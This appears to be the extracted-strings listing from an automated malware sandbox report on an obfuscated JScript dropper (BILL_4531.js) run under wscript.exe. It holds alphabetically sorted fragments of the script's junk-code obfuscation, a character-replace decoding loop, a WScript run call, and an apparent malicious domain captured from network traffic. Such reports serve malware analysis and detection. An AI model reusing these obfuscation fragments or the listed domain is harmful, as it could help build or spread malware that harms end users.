Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUpdateRefSyntax():::uiAbsDiffPicNumMinus1< 0, update as:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

while (1) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Windows Script Host (Ver 5.6)W)

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

WinSock 2.0 Provider ID

Unicode based on Runtime Data (eXe )

WinSock_Registry_Version

Unicode based on Runtime Data (eXe )

WintrustGetRegPolicyFlags

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WScript.exe

Unicode based on Runtime Data (wscript.exe )

wscript.pdb

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WSHRemote.Execute

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WSHRemoteLibrary

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

WSHStatusWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

www.injusticeil.top

Ansi based on PCAP Processing (PCAP)

wwwwww

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

wwwwwwwwwwwwp

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Y@AcquireLayersNals(), iCountNumLayers(%d) > MAX_LAYER_NUM_OF_FRAME(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ybbanbo.run(ozgusaq(), naccexgi);

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

{ border-right:1px solid #cacbcb;}

Ansi based on Dropped File (nav.css)

{ margin-left:100px;}

Ansi based on Dropped File (nav.css)

Ansi based on Dropped File (recovery.js.tmp)

{031E4825-7B94-4DC3-B131-E946B44C8DD5}

Unicode based on Runtime Data (wscript.exe )

{04731B67-D933-450A-90E6-4ACD2E9408FE}

Unicode based on Runtime Data (wscript.exe )

{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}

Unicode based on Runtime Data (wscript.exe )

{11016101-E366-4D22-BC06-4ADA335C892B}

Unicode based on Runtime Data (wscript.exe )

{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}

Unicode based on Runtime Data (wscript.exe )

{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}

Unicode based on Runtime Data (wscript.exe )

{208D2C60-3AEA-1069-A2D7-08002B30309D}

Unicode based on Runtime Data (wscript.exe )

{20D04FE0-3AEA-1069-A2D8-08002B30309D}

Unicode based on Runtime Data (wscript.exe )

{26EE0668-A00A-44D7-9371-BEB064C98683}

Unicode based on Runtime Data (wscript.exe )

{28636AA6-953D-11D2-B5D6-00C04FD918D0} 6

Unicode based on Runtime Data (helper.exe )

{4336A54D-038B-4685-AB02-99BB52D3FB8B}

Unicode based on Runtime Data (wscript.exe )

{450D8FBA-AD25-11D0-98A8-0800361B1103}

Unicode based on Runtime Data (wscript.exe )

{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}

Unicode based on Runtime Data (wscript.exe )

{59031A47-3F72-44A7-89C5-5595FE6B30EE}

Unicode based on Runtime Data (wscript.exe )

{645FF040-5081-101B-9F08-00AA002F954E}

Unicode based on Runtime Data (wscript.exe )

{871C5380-42A0-1069-A2EA-08002B30309D}

Unicode based on Runtime Data (wscript.exe )

{871C5380-42A0-1069-A2EA-08002B30309D} {000214E6-0000-0000-C000-000000000046} 0xFFFF

Unicode based on Runtime Data (wscript.exe )

{89D83576-6BD1-4C86-9454-BEB04E94C819}

Unicode based on Runtime Data (wscript.exe )

{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}

Unicode based on Runtime Data (wscript.exe )

{9343812E-1C37-4A49-A12E-4B2D810D956B}

Unicode based on Runtime Data (wscript.exe )

{98D99750-0B8A-4C59-9151-589053683D73}

Unicode based on Runtime Data (wscript.exe )

{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}

Unicode based on Runtime Data (wscript.exe )

{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}

Unicode based on Runtime Data (wscript.exe )

{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}

Unicode based on Runtime Data (wscript.exe )

{E345F35F-9397-435C-8F95-4E922C26259E}

Unicode based on Runtime Data (wscript.exe )

{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}

Unicode based on Runtime Data (wscript.exe )

{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}

Unicode based on Runtime Data (wscript.exe )

{F3F5824C-AD58-4728-AF59-A1EBE3392799}

Unicode based on Runtime Data (wscript.exe )

|<>/":

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

} else {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

})(window,document,'script','//www.google-analytics.com/analytics.js','ga');

Ansi based on Dropped File (home-&-garden)

advomij = advomij + 5.5405;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

adyrte = 1.788 + '36731';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

agasejiw = agasejiw + '45233';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

aggaqyxy = 4;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

anwututdi = 53 + '6971';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

arjozxibu = "amargansad";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

aznuwpixzywg = "yjfiqap";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

break;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

bvomsusdu = '57273';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case '34230':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 'aby':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 'ddemixmocs':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 'jcyd':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 'koqi':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 1.671:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 10:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 1:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 21.46:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 8.654:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case false:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case null:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case true:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case undefined:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ccehef = '30898' + 18.953;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

cipopyp = "38814";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

civjajre = '41562' + civjajre;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ebeziqef = ebeziqef + 27;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

emicalis = emicalis + "lwuk";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

emicalis = ufoversiw + wohkihhe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ffowzolyl = ffowzolyl + "sbixpyd";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

fgogoqapn = 774 + fgogoqapn;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function alsosj() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function anar() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function avompavwir() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function bagef() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function buzapm() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function bycy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function evulon() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function evwybo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function exvihve() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function fdutvax() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ghisolpy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function hafutw() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function hyxi() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function immoffunha() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function imsaw() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function iwkydciti() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function mkiwo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function mmysse() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function nsetriso() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ocuqga() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function oqgovajo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function osyqqorvalq() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ozgusaq() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function pjipukyzz() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function qoqkotsy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function qzibxijdeqo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function sxuwga() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ukotyfsug() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function wyvun() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function xocygcah() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ycwywbarm() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ylqeful() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ytxobo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function zcagyl() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function zhavutfi() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

gqilcelyr = "ybxa";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

gvowegy = ojowixi + arjozxibu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

hodfar = 3.66 + hodfar;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

icdeqlyd = 'ode';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (/cri/.test(ScriptEngine())) xjomgokhe = xjomgokhe[aqmery](ixunlogs[wtyzyj], ewavke[wtyzyj]);

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (acuvby == 687) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (afdih == null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (alsosj() == 777) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (alucra === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (anar() === 'nune') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (aqodep === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (avompavwir() === 715) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (buzapm() === 'etifsigj') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (bycy() == 412) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ejlacozfe === 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (evulon() === 571) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (evwybo() === 854) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (exvihve() == 89) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (farkysp == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (fdutvax() == null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (fhuwovguhxo == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ghisolpy() == false) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (gmerizacz < 1045) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (hafutw() === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ikwucelfy == "alyfmixamz") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ilavhys === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (imekpajwob == 62) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (immoffunha() === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (imsaw() === 'upima') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (iwkydciti() == false) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (iwugdiwx == '5.855') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (izgyjgipso == 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (lerlerkytu == "undefined") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mkiwo() === 17.1654) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mkolcive === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mmysse() === 21.5) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (nisernu === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (nsetriso() < 9) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (obfymogev === 783) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (osyqqorvalq() === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (qoqkotsy() === 124) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (qzibxijdeqo() == 608) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (sxuwga() === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof dhaqsira == 'number') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof etfygfaqy == "object") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof hyxi() == "string") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof ohug == "undefined") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof olupa == 'string') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof pjipukyzz() == "number") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof ylqeful() == 'string') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ucuxju === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ugbuts === 'hucviqidlo') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ukotyfsug() === 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (utany === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (vwivefnawy === 'urylz') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (vyrajtyju == 65.647) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (wtyzyj == ixunlogs.length) break;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (wyvun() == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (xocygcah() < -26) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (xxiccufuxby == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ycwywbarm() == 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ygfavzixt == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ymcev == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (yzfotdynasw === 1) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (zhavutfi() == 15.0474) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ijtustys = 3 + ijtustys;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

inxikulgig = inxikulgig + '8928';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

inxikulgig = omegoxab + umkelybd;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

iroregalp = 'pifcanzur';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

irwagotl = 'asifta' + irwagotl;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

itictysew = 5 + itictysew;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

itictysew = cuqtuz + jlyzifhuxc;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

itokig = 167;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

jkobeqivh = "ypbatkod";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

jywylgepsa = 12.33 + jywylgepsa;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

jzakuxymvi = 'wdyf' + 136.98;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

mcerolvofw = '21554';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

mrettugcyhe = 276;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

mufixxa = 16.358 + mufixxa;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

muqwem = 62 + muqwem;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

muqwem = odtuzhyspag + aponbu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

nibxygu = "13734" + nibxygu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

nikatez = '83642' + nikatez;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ntupebru = '39724' + ntupebru;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ntupebru = fhygpylxu + dfewtolkybnu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

odtuzhyspag = 15.4;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ohlycgy = 405 + "38137";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ojimuzwo = 499;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

opuwe = 49 + opuwe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

oqikepki = 0.02;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ovmefbirb = ovmefbirb + 15;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ovmefbirb = styrocyzvy + occofi;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

pvydinoko = '84641';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

qkydilycu = "oxa" + qkydilycu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

qmodqumbo = 5 + "dsowahni";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return "6880";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return "92466";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return "upima";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return '70180';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return '95275';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 'jcyd';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 15.0474;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return 4;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return dymiko;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ehowh;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ekryzsoj;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ggefritjy;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ivew;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return izfafex;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ocvami;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return tegi;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return twysaw;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ucopkuxmi;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return varhach;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return woqazlohj;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return xjomgokhe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return ybitk;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return zede;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

return zulgosjil;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

rjydkiggul = "xcejbypos" + 30.8;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

rvuvdecw = rvuvdecw + '75112';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ryrokj = 35 + "65823";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

styrocyzvy = 'ewcocc';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (amygk) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (bagef()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (jisvapax) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (ocuqga()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (oqgovajo()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (upqetp) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (ytxobo()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (zcagyl()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

udbejmesapd = '89091';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

udoqyltyt = "yjeva";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ufoversiw = 89.365;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

uhegcejw = 12;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

urranvinx = '78597' + 551;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

uvvutlafis = "78220";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

uzytereh = 'eqoputys';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var abbywawq = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var abiga = "38195" + 66;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var acuvby = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var adoqtitty = typeof '9736';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var advomij = ppovyhyxy + owvebo;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var afdih = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var agasejiw = vkabmeqfafd + mfazyquli;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var agbiwhi = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ajrahh = ')';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var akysroxihr = typeof 85;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var alucra = "yvfiq";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var amygk = 10;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aponbu = "gqymqi";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aqadbomto = typeof "bfixvisymg";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aqmery = 'replace';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aqodep = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var arqixyfevf = 13.23;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var arsyqu = typeof 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var axgurhyje = 43.108;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var axverics = typeof 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aznefsasso = 19.426 + "94173";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var bvomsusdu = 76.442;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var cagnol = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var canhibpyzu = 3.2 + '42744';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var civjajre = 'xymsudk';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var covyd = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var cuqtuz = 7;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var cwihden = typeof 88;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dawtot = typeof "uxjapqe";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var daxxev = 4.75;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dbaxanzi = 'h';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dekusboz = 884 + "33099";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var deqilutku = 4;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dfewtolkybnu = 'vleqcivykn';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dhaqsira = 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var divoq = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dnefhulkav = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dxegydla = typeof "elxolujw";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dymiko = 13.6;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dzibysko = "zlip";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dzylesj = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ebeziqef = vtonkes + itokig;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var efyfis = 't';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var egcafditvi = 17.22;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ehaxinpalx = 886 + "nrymu";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ehevga = 924;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ehowh = 25.1654;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ejlacozfe = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ekcahtepx = typeof '58680';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ekryzsoj = 8.654;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var eljocos = 'lgosrynyzi' + 10.1716;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var emofwaz = "64236";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var emynri = typeof 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var enwucnanzy = 'uqagr';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var eriqmivhum = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var escogi = "umy" + 4.834;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var eslipqybzen = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var essawwar = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var etfygfaqy = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var evpelqotu = typeof true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ewavke = [yjcewp, uquhiwn, fafiq, ubhogy, geju, noxah, ibxesno, ypedhycw, jyxtiw, dbaxanzi, zbike, npobwus, ajrahh, efyfis];

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fafiq = "'";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var farkysp = 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var febagjyqqu = 89 + "59030";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ffelakn = vimzimfy + ojimuzwo;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ffowzolyl = rpuqqozeg + gqilcelyr;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fgenholza = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fgogoqapn = '71786';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fhuwovguhxo = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fhygpylxu = 62.224;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fjupoq = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fmocabxisgo = 'swydopyj';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fuldunvive = "19040" + 80;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fyhhuxtaw = typeof 39.7048;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var geju = "a";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var geluzwo = "nar" + 0.1713;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ggefritjy = 17.5;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gixgydtahzo = isiqa + vgyxpekxo;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gmerizacz = 566;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gopyzvisu = 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gugwarem = 13.8;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var guqweqasky = 'hywpojefe';

